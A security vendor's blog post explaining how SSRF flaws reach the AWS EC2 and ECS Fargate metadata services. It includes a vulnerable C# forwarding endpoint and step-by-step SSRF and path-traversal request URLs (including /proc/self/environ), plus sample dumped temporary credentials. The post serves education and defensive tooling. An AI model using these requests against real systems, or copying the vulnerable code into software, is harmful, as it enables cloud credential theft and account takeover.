blog
With the Capital One breach announced in July 2019, weaknesses in the Amazon Web Services’ Instance Metadata Service finally received notable publicity. An inquiry from Oregon Senator Ron Wyden sparked a response from Stephen Schmidt, VP & CISO from AWS:
Schmidt’s response indicates that AWS was not aware of weaknesses, nor aware of customer requests to add security controls to the Instance Metadata service. However, history says otherwise. The Instance Metadata Service has been heavily criticized for years by security researchers because it does not block basic Server-Side Request Forgery attacks from communicating with the service.
In 2014, researcher Andres Riancho, presented a talk: Pivoting in Amazon Clouds, which mentions weaknesses in the Metadata Service:
In 2018, Scott Piper, Summit Route Security Consultant, requested security enhancements to the metadata service:
Schmidt called out Netflix directory for not officially submitting a similar request. However, Netflix published several guides on preventing credential compromise via the Instance Metadata Service. The following is a blog published by Will Bengtson:
Can we agree that Amazon Web Services (AWS) has been aware of this issue for quite a while?
How are attackers abusing the Metadata Service? It all starts with Server-Side Request Forgery (SSRF), often referred to as the Remote Code Execution of the Cloud. SSRF vulnerabilities are often used to:
exploit a vulnerable application
communicate with the Metadata Service
extract credentials
pivot into an organization’s cloud account
The attack starts with a SSRF vulnerability similar to the following:
public async IActionResult Get(string target)
{
var client = new HttpClient();
var request = client.GetAsync(target);
var json = await result.Content.ReadAsStringAsync();
return JsonConvert.DeserializeObject<GetResult>(json);
}
The API endpoint accepts an untrusted target parameter from the request, performs a GET request to the target, and returns the response back to the client.
Let’s start with a sample request that is forwarding to a backend service and requesting data from https://awesomeapp.com/api/users:
https://awesomeapp.com/forward?target=https://awesomeapp.com/api/users/
The response returns the following JSON:
{
"id": "12682", "firstname": "eric", "company": "Puma Security"
"id": "54247", "firstname": "scott", "company": "Puma Security"
"id": "84824", "firstname": "matthew", "company": "Puma Security"
}
While this may look benign, security researchers and attackers quickly realized that the target parameter could be modified to communicate with cloud Instance Metadata Services. Using a SSRF attack, a malicious request might look like this:
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
Instead of JSON from the backend service, the SSRF respone contains JSON from the new endpoint:
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
A successful request to the Instance Metadata Service returns temporary credentials to the service account assigned to the resource. Keys can be used to communicate directly with the organization’s cloud account.
That’s bad, right? This is the exact reason we wrote Puma Scan rule SEC0129 Server-Side Request Forgery (SSRF), which helps development teams locate and fix SSRF vulnerabilities in their C# code.
Schmidt’s response above doesn’t explicitly mention adding security enhancements to the metadata service. However, the evolution of the metadata service from Elastic Cloud Compute (EC2) to the managed Container Service (Fargate) makes it more difficult to extract the keys.
As mentioned above, enumerating data stored in the EC2 instance metadata endpoint is trivial. Starting with a basic request, we can see the list of data elements including Identify and Access Management (IAM):
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
The response shows a directory listing of the meta-data content:
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
Digging deeper: we can find the name of the role assigned to the instance at runtime:
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The reponse shows the role name assigned to the virtual machine (EC2 instance) on creation:
Awesome-WAF-Role
Next: dump the role’s temporary keys for communicating directly with the account:
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
How is this different for containerized applications running in the managed Container Service (Fargate)? Starting with the original request, I quickly discovered that the instance metadata endpoint is not accessible from inside the container.
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
The reponse returns a 401 Not Found status with the following message:
{
"Message" : "I/O error on GET request for "http://169.254.169.254/latest/metadata": Invalid argument or cannot assign requested address;"
}
Well that’s not cool. To Google we go. After reviewing the Amazon ECS Task Metadata Endpoint documentation, the response makes sense. The ECS metadata endpoint is in a different location. Let’s request the new endpoint using the SSRF vulnerability. Excitement is followed by confusion after reading the JSON, and realizing that there are no AWS keys in the response:
https://awesomeapp.com/forward?target=http://169.254.170.2/v2/metadata
The response shows a treasure trove of data regarding the Docker container’s deployment in the ECS custler. But, no access keys!
{
"Cluster": "arn:aws:ecs:us-west-2:953574914659:cluster/awesome-waf-app",
"TaskARN": "arn:aws:ecs:us-west-2:953574914659:task/d7f55fa8-62c2-46b4-a82f-e78883816982",
"Family": "awesome-waf-app-taskdef",
"Revision": "2",
"DesiredStatus": "RUNNING",
"KnownStatus": "RUNNING",
"Containers": [
{
"DockerId": "bbb3c57a0ed3f813c3d40be26ec7f2d08819b8e8e0c8d5fdc68b6872a9109e09",
"Name": "~internal~ecs~pause",
"DockerName": "ecs-awesome-waf-app-90d4e0f5a7c4bb9f6800",
"Image": "fg-proxy:tinyproxy",
"ImageID": "",
"Labels": {
"com.amazonaws.ecs.cluster": "arn:aws:ecs:us-west-2:953574914659:cluster/awesome-waf-app",
"com.amazonaws.ecs.container-name": "~internal~ecs~pause",
"com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-west-2:953574914659:task/d7f55fa8-62c2-46b4-a82f-e78883816982",
"com.amazonaws.ecs.task-definition-family": "awesome-waf-app-1XETLJLHWXAQS-taskdef",
"com.amazonaws.ecs.task-definition-version": "2"
},
"DesiredStatus": "RESOURCES_PROVISIONED",
"KnownStatus": "RESOURCES_PROVISIONED",
"Limits": {
"CPU": 0,
"Memory": 0
},
"CreatedAt": "2019-09-17T22:05:59.924547507Z",
"StartedAt": "2019-09-17T22:06:00.222481267Z",
"Type": "CNI_PAUSE",
"Networks": [
{
"NetworkMode": "awsvpc",
"IPv4Addresses": [
"10.43.0.112"
]
}
]
},
{
"DockerId": "86e5648379996ab62b645da226750999971cfc9c71e1964ffa5fb9f6f7562b88",
"Name": "Awesome-WAF-App",
"DockerName": "awesome-waf-app-ce8dce8c8ff9b0b50b00",
"Image": "953574914659.dkr.ecr.us-west-2.amazonaws.com/awesone-waf-app-1bflh6nxs96ux:48111bb",
"ImageID": "sha256:5a277ed8436e59d852ff0b2ed17487dab5e3f884f3edec8645eb1ee0cdbbbe9b",
"Labels": {
"com.amazonaws.ecs.cluster": "arn:aws:ecs:us-west-2:953574914659:cluster/awesome-waf-app-1LI0WIX46VHOO",
"com.amazonaws.ecs.container-name": "awesome-waf-app",
"com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-west-2:953574914659:task/d7f55fa8-62c2-46b4-a82f-e78883816982",
"com.amazonaws.ecs.task-definition-family": "awesome-waf-app-taskdef",
"com.amazonaws.ecs.task-definition-version": "2"
},
"DesiredStatus": "RUNNING",
"KnownStatus": "RUNNING",
"Limits": {
"CPU": 0,
"Memory": 1024
},
"CreatedAt": "2019-09-17T22:06:06.160712326Z",
"StartedAt": "2019-09-17T22:06:08.612197457Z",
"Type": "NORMAL",
"Networks": [
{
"NetworkMode": "awsvpc",
"IPv4Addresses": [
"10.43.0.112"
]
}
],
"Volumes": [
{
"DockerName": "awesome-waf-app-my-vol-c6f2efd69b96909e5c00",
"Source": "/var/lib/docker/volumes/awesome-waf-app-my-vol-c6f2efd69b96909e5c00/_data",
"Destination": "/var/www/my-vol"
}
]
}
],
"Limits": {
"CPU": 0.5,
"Memory": 2048
},
"PullStartedAt": "2019-09-17T22:06:00.328844603Z",
"PullStoppedAt": "2019-09-17T22:06:06.154570888Z"
}
Reading the documentation further, it becomes clear that the ECS Task Metadata service made it more difficult to extract the security credentials. Instead of hosting the security credentials in the metadata, ECS Tasks read the access keys from a separate Metadata endpoint formatted as follows:
http://169.254.170.2/v2/credentials/<random-uuid>
The question remains - what is the randomly generated UUID required to dump the credentials? Digging deeper into the ECS Task Metadata documentation, the UUID can be found in the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable. This enhancement forces the application to have another vulnerability such as SEC0031: Command Injection or SEC0112: Path Traversal (also known as Local File Inclusion). For demonstration purposes, I added a path traversal vulnerability to a demo app, which allowed the following request to dump the environment variables:
https://awesomeapp.com/download?file=/proc/self/environ
The response shows the current process environment varialbes, including the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable containing the UUID we need to extract the container’s access keys:
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64
FINALLY! We have the value of the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable. Putting it all together, we can finally dump the container’s security credentials and continue compromising the account:
https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
"Expiration": "2019-09-18T04:05:59Z"
}
From here, the attacker is easily able to configure their machine to communicate directly with the organization’s cloud account under the permissions assigned to those keys.
For more information on the Capital One breach notification, public information from the breach, data exfiltration commands, and post mortem, check out Eric Johnson’s (@emjohn20) presentation titled Cloud Security: Attacking The Metadata Service.
Interested in Cloud security, security automation, and finding vulnerabilities like SSRF, Command Injection, and Path Traversal? Contact us today: sales [at] pumascan [dot] com. Make sure to follow our social channels, @puma_scan on twitter and @puma-security-llc on linked in.
Eric Johnson’s experience includes application security automation, cloud security reviews, static source code analysis, penetration testing, SDLC consulting, and secure code review assessments. As a co-founder of Puma Security, his passion lies in modern static analysis product development and DevSecOps automation.